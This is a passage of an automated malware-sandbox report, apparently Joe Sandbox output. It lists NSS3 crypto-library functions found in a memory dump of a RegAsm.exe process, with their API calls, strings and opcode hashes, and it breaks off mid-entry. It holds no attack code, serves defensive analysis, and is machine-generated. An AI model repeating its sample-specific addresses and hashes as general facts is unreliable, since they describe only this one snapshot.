SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C477313), ref: 6C47909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C477313), ref: 6C4790DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C477313), ref: 6C4790F1

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C477313), ref: 6C47906B

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C477313), ref: 6C479128

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: de237c09b93eacceaef82c636c993fd42806333ac9a5dd80b871c2f8a186af0b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 3F51AE71A002018BFB20CF6ADC88FA6B3F9EF54319F154029D915D7B61EB32E815CAB1

Function 6C4588E0 Relevance: 12.1, APIs: 8, Instructions: 112COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C4588FC

Part of subcall function 6C46BE30: SECOID_FindOID_Util.NSS3(6C42311B,00000000,?,6C42311B,?), ref: 6C46BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6C458913

Part of subcall function 6C470FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C4187ED,00000800,6C40EF74,00000000), ref: 6C471000
Part of subcall function 6C470FF0: PR_NewLock.NSS3(?,00000800,6C40EF74,00000000), ref: 6C471016
Part of subcall function 6C470FF0: PL_InitArenaPool.NSS3(00000000,security,6C4187ED,00000008,?,00000800,6C40EF74,00000000), ref: 6C47102B

SEC_ASN1DecodeItem_Util.NSS3(00000000,?,6C53D864,?), ref: 6C458947

Part of subcall function 6C46E200: PR_SetError.NSS3(FFFFE009,00000000), ref: 6C46E245
Part of subcall function 6C46E200: PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C46E254

SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C45895B
DER_GetInteger_Util.NSS3(?), ref: 6C458973
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C458982
SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C4589EC
PR_SetError.NSS3(FFFFE006,00000000), ref: 6C458A12

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena_Tag_$AlgorithmErrorFindFree$ArenaDecodeInitInteger_Item_LockPoolcalloc
String ID:
API String ID: 2145430656-0
Opcode ID: 2dd50af1c58193d94cd043ef511efddfb24cbdb5c8ffeefb504fc6e1cd469af8
Instruction ID: f08f1cab57390ce0ef804527781db967baeceacca333a0719d08a3f2203dd842
Opcode Fuzzy Hash: 2dd50af1c58193d94cd043ef511efddfb24cbdb5c8ffeefb504fc6e1cd469af8
Instruction Fuzzy Hash: F0314CF1A6460052F710D629AC41FEA32955F9131DF64063BD919D7B81FF31C46782D3

Function 6C520860 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

PR_LogFlush.NSS3(00000000,00000000,?,?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C52086C

Part of subcall function 6C520930: EnterCriticalSection.KERNEL32(?,00000000,?,6C520C83), ref: 6C52094F
Part of subcall function 6C520930: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C520C83), ref: 6C520974
Part of subcall function 6C520930: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C520983
Part of subcall function 6C520930: _PR_MD_UNLOCK.NSS3(?,?,6C520C83), ref: 6C52099F

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,00000000,00000000,?,?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C52087D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C520892
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,?,?,?,6C52798A), ref: 6C5208AA
free.MOZGLUE(?,00000000,00000000,?,?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C5208C7
free.MOZGLUE(?,00000000,00000000,?,?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C5208E9
free.MOZGLUE(?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C5208EF
PR_DestroyLock.NSS3(?,00000000,00000000,?,?,6C527AE2,?,?,?,?,?,?,6C52798A), ref: 6C52090E

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: free$__acrt_iob_func$CriticalDestroyEnterFlushLockSectionfclosefflushfwrite
String ID:
API String ID: 3145526462-0
Opcode ID: f2e1a0ddec1034fa50eccc49e4b7b9d5807cf1562e0985051997c56984e6d8fd
Instruction ID: 577b0ab04842fc9e846a8059827a7a79967edbd1f0b3565fd8b284345e9687cc
Opcode Fuzzy Hash: f2e1a0ddec1034fa50eccc49e4b7b9d5807cf1562e0985051997c56984e6d8fd
Instruction Fuzzy Hash: 2311B9B1B022504BFF01AB59DCB5B5737B8EB81658F1A0125E40A87B80DB35E444CBE9

Function 6C394F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C394FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C3951BB

Strings

misuse, xrefs: 6C3951AF
%s at line %d of [%.10s], xrefs: 6C3951B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C3951A5
unable to delete/modify user-function due to active statements, xrefs: 6C3951DF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 849ee552955d19c5c34426306741c626ef3ade3081098f2b206fa4ff68cb32e2
Instruction ID: 78de7ea3cbbcc6ca427db09e2b4466ca825f3673e5e5c2534c769b6dca3b9089
Opcode Fuzzy Hash: 849ee552955d19c5c34426306741c626ef3ade3081098f2b206fa4ff68cb32e2
Instruction Fuzzy Hash: 5E718E7160420A9BEF00CE15CC80BDA77B9BB48309F054624ED1A9BB85E336ED91CFA1

Function 6C4829E0 Relevance: 10.7, APIs: 7, Instructions: 181COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,00000000,00000000,?,?,6C4821DD,00000000), ref: 6C482A47
SEC_ASN1EncodeInteger_Util.NSS3(?,6C4821DD,00000002,00000000,00000000,?,?,6C4821DD,00000000), ref: 6C482A60
SECOID_FindOIDByTag_Util.NSS3(00000000,?,?,?,?,00000000,00000000,?,?,6C4821DD,00000000), ref: 6C482A8E
PK11_KeyGen.NSS3(00000000,?,00000000,83F089CA,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C482AE9
PORT_ArenaMark_Util.NSS3(00000000), ref: 6C482B0D
PK11_FreeSymKey.NSS3(?), ref: 6C482B7B
PK11_FreeSymKey.NSS3(?), ref: 6C482BD6

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_Util$Free$ArenaEncodeErrorFindInteger_Mark_Tag_
String ID:
API String ID: 1625981074-0
Opcode ID: d2156307fad853da4f208a8bd6ab6eaac5d855f779e38e8988a43aa74d0d39a6
Instruction ID: 1067d375f7fe5b7f42dcfe34683a341b8a5afe2a1ba6ae6ba88b957db94a3d1a
Opcode Fuzzy Hash: d2156307fad853da4f208a8bd6ab6eaac5d855f779e38e8988a43aa74d0d39a6
Instruction Fuzzy Hash: 69512771E022069BEB20CEA9DC84FAA77B5AF4471CF150138ED19A7781EB31E905CBD1

Function 6C45AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C45AB3E,?,?,?), ref: 6C45AC35

Part of subcall function 6C43CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C43CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C45AB3E,?,?,?), ref: 6C45AC55

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C45AB3E,?,?), ref: 6C45AC70

Part of subcall function 6C43E300: TlsGetValue.KERNEL32 ref: 6C43E33C
Part of subcall function 6C43E300: EnterCriticalSection.KERNEL32(?), ref: 6C43E350
Part of subcall function 6C43E300: PR_Unlock.NSS3(?), ref: 6C43E5BC
Part of subcall function 6C43E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C43E5CA
Part of subcall function 6C43E300: TlsGetValue.KERNEL32 ref: 6C43E5F2
Part of subcall function 6C43E300: EnterCriticalSection.KERNEL32(?), ref: 6C43E606
Part of subcall function 6C43E300: PORT_Alloc_Util.NSS3(?), ref: 6C43E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C45AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C45AB3E), ref: 6C45ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C45AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C45AD2B

Part of subcall function 6C43F360: TlsGetValue.KERNEL32(00000000,?,6C45A904,?), ref: 6C43F38B
Part of subcall function 6C43F360: EnterCriticalSection.KERNEL32(?,?,?,6C45A904,?), ref: 6C43F3A0
Part of subcall function 6C43F360: PR_Unlock.NSS3(?,?,?,?,6C45A904,?), ref: 6C43F3D3

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 3ac40561f466dc35de3a50c99e94dcae2037a81ee2813f9de1a24b227f02e8cd
Instruction ID: 45c9a8302c2e23954b723185b613108dbff9eb3d6881c08d8ef7a34947bcebf7
Opcode Fuzzy Hash: 3ac40561f466dc35de3a50c99e94dcae2037a81ee2813f9de1a24b227f02e8cd
Instruction Fuzzy Hash: 7B3126B1E002156FEB01DE699C40DFF76B6AF84328B59812CE8199B740EB319D2587F1

Function 6C412920 Relevance: 10.6, APIs: 7, Instructions: 121timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C41294E

Part of subcall function 6C471820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C411D97,?,?), ref: 6C471836

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C41296A
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C412991

Part of subcall function 6C471820: PR_SetError.NSS3(FFFFE005,00000000,?,6C411D97,?,?), ref: 6C47184D

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6C4129AF
PR_Now.NSS3 ref: 6C412A29
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C412A50
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C412A79

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$Error$GeneralizedTime_
String ID:
API String ID: 2509447271-0
Opcode ID: 12507bd5741dc999beabc10b9c44c1f65c51ed6dd3828bf139df2af6c47c0348
Instruction ID: a4e2d03b572e367ca256a54a2941d20f9648cc61bc904875eb5dd593c8b98829
Opcode Fuzzy Hash: 12507bd5741dc999beabc10b9c44c1f65c51ed6dd3828bf139df2af6c47c0348
Instruction Fuzzy Hash: 2B417F71A093519BC724CE28C850E9BB7E5AB99759F164A2DFC98D3700EB30E90986D2

Function 6C438C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C438C7C

Part of subcall function 6C4D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DC6
Part of subcall function 6C4D9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C520A27), ref: 6C4D9DD1
Part of subcall function 6C4D9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C4D9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C438CB0
TlsGetValue.KERNEL32 ref: 6C438CD1
EnterCriticalSection.KERNEL32(?), ref: 6C438CE5
PR_Unlock.NSS3(?), ref: 6C438D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C438D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C438D93

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 023432c90a1cb458cbdf1a276c2fbfc5856cfef1f0f9aedd29cb3901fafba132
Instruction ID: 2c90fab73a079ffb6d811667f01797ae79ab274d63b842c870dec7619b95ba16
Opcode Fuzzy Hash: 023432c90a1cb458cbdf1a276c2fbfc5856cfef1f0f9aedd29cb3901fafba132
Instruction Fuzzy Hash: 77315B71A00221ABDB01DF69CC44F9AB770BF99318F14013BEA1DA7B50D730A954CBD1

Function 6C432E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C42E728,?,00000038,?,?,00000000), ref: 6C432E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C432E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C432E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C432E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C432E9E
PR_Unlock.NSS3(?), ref: 6C432EAB
PR_Unlock.NSS3(?), ref: 6C432F0D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 684c76539c72808f94dc288bd19cebbcc4ef639d6ca60d4fcb1870c288bb4885
Instruction ID: d114aad3cae4cc1ad79b91953ec47d92da8b69292610d7d904a39f54b0893808
Opcode Fuzzy Hash: 684c76539c72808f94dc288bd19cebbcc4ef639d6ca60d4fcb1870c288bb4885
Instruction Fuzzy Hash: 6E31D575A001159BEB00EF29DC45D7ABB78FF49259B058178ED1887B22EB31ED54C7E0

Function 6C47CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C47CD93,?), ref: 6C47CEEE

Part of subcall function 6C4714C0: TlsGetValue.KERNEL32 ref: 6C4714E0
Part of subcall function 6C4714C0: EnterCriticalSection.KERNEL32 ref: 6C4714F5
Part of subcall function 6C4714C0: PR_Unlock.NSS3 ref: 6C47150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C47CD93,?), ref: 6C47CEFC

Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C4710F3
Part of subcall function 6C4710C0: EnterCriticalSection.KERNEL32(?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47110C
Part of subcall function 6C4710C0: PL_ArenaAllocate.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471141
Part of subcall function 6C4710C0: PR_Unlock.NSS3(?,?,?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C471182
Part of subcall function 6C4710C0: TlsGetValue.KERNEL32(?,6C418802,00000000,00000008,?,6C40EF74,00000000), ref: 6C47119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C47CD93,?), ref: 6C47CF0B

Part of subcall function 6C470840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C4708B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C47CD93,?), ref: 6C47CF1D

Part of subcall function 6C46FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C468D2D,?,00000000,?), ref: 6C46FB85
Part of subcall function 6C46FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C46FBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C47CD93,?,?,?,?,?,?,?,?,?,?,?,6C47CD93,?), ref: 6C47CF78

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e0ec7397dd970e49e2185410b4025622b74f12509818c35d9a8427c2bd33b92e
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 781190A5E012445BEB20EE666D51FEBB6EC9F5454AF04403DEC09D7B81FB60DA0886F1

Function 6C428C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C428C1B
EnterCriticalSection.KERNEL32 ref: 6C428C34
PL_ArenaAllocate.NSS3 ref: 6C428C65
PR_Unlock.NSS3 ref: 6C428C9C
PR_Unlock.NSS3 ref: 6C428CB6

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

Strings

KRAM, xrefs: 6C428C8F

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 557d74cb4723a96581054ee3c8e53d4a11e5563e58aef7690a13f5f07bc8980d
Instruction ID: 802a35714dd8c096b7589106a59628d32122621dd38a130b85d17e3c3560b0b2
Opcode Fuzzy Hash: 557d74cb4723a96581054ee3c8e53d4a11e5563e58aef7690a13f5f07bc8980d
Instruction Fuzzy Hash: 82212DB2A056118FD700EF79C485D69BBF4BF45204B05896ED8888B751DB39D88ACB91

Function 6C438E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

